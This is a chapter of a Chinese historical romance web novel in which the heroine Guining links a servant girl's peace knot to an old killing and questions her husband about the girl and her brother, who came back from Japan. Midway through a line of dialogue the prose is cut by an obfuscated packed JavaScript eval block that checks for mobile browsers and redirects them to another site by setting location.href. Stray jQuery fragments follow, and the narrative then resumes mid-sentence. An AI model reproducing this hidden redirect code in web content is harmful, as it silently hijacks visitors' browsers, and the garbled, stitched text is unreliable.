此后数日，小周王陆陆续续递过来几次消息，福寿堂的下人们都不知道那封信的事情，萧元荷也老实交代曾亲眼见到邓氏烧掉两个布偶，但是不曾看到信的影子。
大理寺审案手段非常，不出三日，萧元荷就认下了暗中派人绑架乐巧一事。却对那封信的事情没有露出半点口风，恐怕真如他们料想的最坏情况，邓氏早就将信销毁了。
这让归宁和母亲一时没了头绪，只得派人去一趟苏州老宅，问问还健在的老仆人，是不是认识哪个陈姓人家。
既然不是宋娘子这头的亲戚或故交，那极有可能是原来宋家的旧交。可宋老爷子与归宁的父亲早就离世，这些陈年旧事也只能去问留在苏州的老仆了。
处理了这些，归宁从医所命，每日起来走动几步，在院子里晒晒太阳，但是随着日头越来越毒辣，她越发懒得动弹。
萧元绰因伤，向朝廷告假一月，这几日既不用上值，也不用处理公务，索性让人将书房里的东西搬到孤芳苑的西次间，在这里做一个临时书房。
没事就陪在归宁身旁，二人说些琐事，又商议着将邓氏留在府里的人一一打发了去。
归宁对萧元绰虽不似之前那般十分抗拒，可也不愿与他太过亲近，他稍稍靠近，归宁就借口太热，躲远一些，夜晚尤甚。
像个闹脾气的小媳妇，还没有彻底放弃心中的那点不愉快。
**
这一日午后，萧元绰出门会友，归宁携靠在床头翻阅一本野史趣事，东篱蹑手蹑脚走了进来，见夫人并没有歇中觉，转头想悄默声溜出去，被正在算份子钱的南烟发现了身影，“东篱，你做什么呢？过来。”
东篱是大爷安排在夫人身边的人，即便现在已经风平浪静，南烟还是不敢掉以轻心，见她今日行动有些鬼祟，不免将她唤道跟前，“怎么了，有什么事？”
被人撞个正着，东篱像个做错事的孩子，低着头，从袖口里取出一个鲜红色的平安结，拿给南烟，声如细蚊，“这是我打给夫人的平安结，能保佑夫人一生平安顺遂。”
南烟接过平安结，甚是好奇地拿在手上翻来覆去细细打量了一番，觉得这打法很奇怪，却有些莫名的熟悉，好像在哪里见过……
陡然间识海里灵光一闪，她似乎想起了什么，心中不由感叹：踏破铁鞋无觅处，得来全不费工夫。
可转念又倒吸了一口凉气：他们兄妹二人竟然隐藏的这么深！
到底是深宅大院里见过世面的姑娘，南烟的心绪虽几经反转，面上依旧笑容可亲，看不出任何异样，只听她笑问道：“你手真巧，这是谁教你的？”
得她夸赞，东篱腼腆一笑，羞怯道：“姐姐过奖，是母亲教我的。”
南烟知道他们兄妹二人自幼父母双亡，故问道：“你母亲一定是个心灵手巧，温柔贤惠的人，你想不想她？要不我给夫人说一声，派人送你们兄妹二人去祖籍看看，给你母亲的坟头上柱香，她老人家见你们生活有所依靠，也会含笑九泉的。”
南烟想借此窥探二人的来历。
东篱虽猜不透这位漂亮姐姐的真实用意，可她清楚，当年父亲带着他们兄妹二人漂洋过海时，自己再也没有机会回去看望母亲了，难过地摇了摇头，“我没有母亲了，再也没有了。”
说罢，眼圈微红，紧咬下唇，压抑着让自己不要哭出来。
南烟见她如此伤心，心里不免感慨，到底是个孩子，藏不住心事，又看了看手中的平安结，对他们兄妹二人的来历愈发好奇。
随手从桌案上端起一个果碟，递给东篱：“去吃吧，东西我会亲手交给夫人。”
东篱抹了一把泪，双手恭恭敬敬地接下，道了声谢，悄悄地退到屋外门廊上去吃点心。
南烟挑帘走入里屋，将平安结拿给坐在窗前盘点侯府产业的归宁，“夫人，人找到了。”
前世是在她的辛苦打理之下，弘文伯府在应天的祖宅得以修缮，还建立了族学，如今她不想再为萧元绰的事费心劳力，正做盘算，忽闻南烟来报，有些漫不经心的抬眸，“什么找到了。”
南烟的语气中难掩激动，“暗杀姜妈妈的人找到了，就在大爷身边，夫人请看。”
她将东篱过来送平安结的事说了。
归宁合上鱼鳞册，若有所思地打量着南烟递过来的东西。南烟自然知道她心中所想，转头将归宁藏在梳妆阁里的另外一只平安结找了出来，递给归宁，“夫人你看，是不是打法一模一样？”
归宁的目光停驻在褪色的那只上，猜测道：“这只手法更熟练，可能是他们母亲留下的。”又指着新打的那只道：“这只手法生疏不少。”
相比她的谨慎与平静，南烟更显激动：“夫人，这是大爷派人暗杀姜妈妈的铁证，也是他私通倭人的证据，我们……”
归宁打断她，“南烟，他是朝廷命官，私通敌寇你知道是什么结果吗？莫说是他，就是阖府女眷也难逃罪责。”
以萧元绰的精明，断不会留下“通倭”这么大的把柄认人拿捏，肯将东榆和东篱兄妹二人留在身边，应该是另有隐情。
当年祖母被害的真相已经挑明，这件事也该放在明面上说道说道了。趁着母亲和小周王还在京师，不妨问个透彻。思及此，归宁十分敞亮道：“你去给夫君传个话吧，说晚上一起用饭。”
**
入夏之后白日变长，萧元绰归来时夕阳映窗，一片宁静。
归宁携靠在碧纱窗下看一本《筹海图编》，此书乃郑若曾所著，早年间其曾跟随胡总督抗倭，书中详细记载了东瀛的地理位置、疆域范围、周边岛屿等情况。
萧元绰进屋，看她正专心致志地翻看一本兵书，不由嘴角轻扬，笑道：“想不到我家阿宁还对用兵打仗感兴趣，从哪里找来这本书？”
归宁合上书，将一新一旧两个平安结递给他，道：“这个新的平安结是东篱刚送给我的，另一个是在西山别院外捡到的，这平安结的打法不同寻常，我问过小周王，他说可能来自东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732993|171000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瀛，夫君是不是要解释解释？”
萧元绰闻言，神情十分泰然，不慌不忙道：“的确来自东瀛。”
归宁面色警惕，看向他的眼神中三分失望，七分不敢置信，“他们兄妹二人什么来历？夫君为什么要留下他们？”
萧元绰一副磊落淡然模样，“阿宁，你没有把东西交给小周王，而是选择当面质问我，说明你心里还是信我的为人。既如此，我没有什么可隐瞒的，他们二人是从东瀛千辛万苦回到故土的汉人后裔。”
“他们的父亲在出海时，被倭寇俘虏，带去了东瀛，为了生计被迫留在东瀛娶妻生子。可那里不是他们的家，他们在东瀛被人肆意践踏欺凌。”
“他们的母亲过世后，他们的父亲尝试各种方法带他们重回故土，最终历尽重重磨难，回到了家乡。可因为在异域长大，文字语言不通，他们兄妹不被我朝人接受，他们的父亲也因染病过世，无处可去的兄妹二人只能流落街头，做些偷鸡摸狗的勾当过活。”
“我在应天街头发现他们，见他们实在可怜就收留了二人。东榆不会说汉文，怕给我惹来麻烦，故意吞炭烫毁了自己的声带，才成了现在的哑巴。”
“这就是兄妹二人的来历。”
归宁听罢，沉吟片刻，略有些迟疑道：“非我族类……”
萧元绰抢先道：“非我族类，其心必异。在东瀛，因为他们的父亲他们被认做汉人；在我朝因为他们的母亲他们被认为是倭人，那哪里才是他们的家？”
“就凭他们不惜千辛万苦也要回家的心，就算他们在异域长大，我也认为他们就是我朝百姓。每年被倭寇掳走的汉人不计其数，如果这些人带着他们的子孙重回故土，我们不接纳他们，他们的家又在何方？”
“出身不重要，心之所向，才是根本。”
“姜妈妈的确是我派东榆处置的，但是这些证据我不怕你留下。关于他们兄妹二人的来历，我行得端立得正，就是到了朝堂上，我也支持那些被掳走的百姓重归故土，重新被我朝接纳。这里是他们的根，也是他们的归宿。只要他们心向我朝，就是我朝子民。”
于国于民，萧元绰都是一个好官，这一点归宁没有看错。她默默将东西收起，“夫君放心，此事我不会再提了。”
萧元绰坐回道她的身侧，拉起她的手，面色诚挚：“阿宁，我唯有在父亲和祖母之事上，对你有过隐瞒，其他的事没有，也不会有。”
“阿宁，我不会再追究《山路松声图》如何到了徐四手上，也不会计较你为小周王挡箭受伤之事，我只求一件事，等你伤好之后，我们重新开始，好不好？”
归宁躲开他俊俏又多情的眉眼，躲避似得看向窗外，她的身和心都在抗拒，可又逃无可逃。本朝讲究女子从一而终，女子归家，将一辈子抬不起头来。
归宁的沉默，让萧元绰心里五味杂陈，他向来进退有度，就是对待自己的女人，也极有分寸，语气温柔道：“我知道你需要时间，我慢慢等就是。”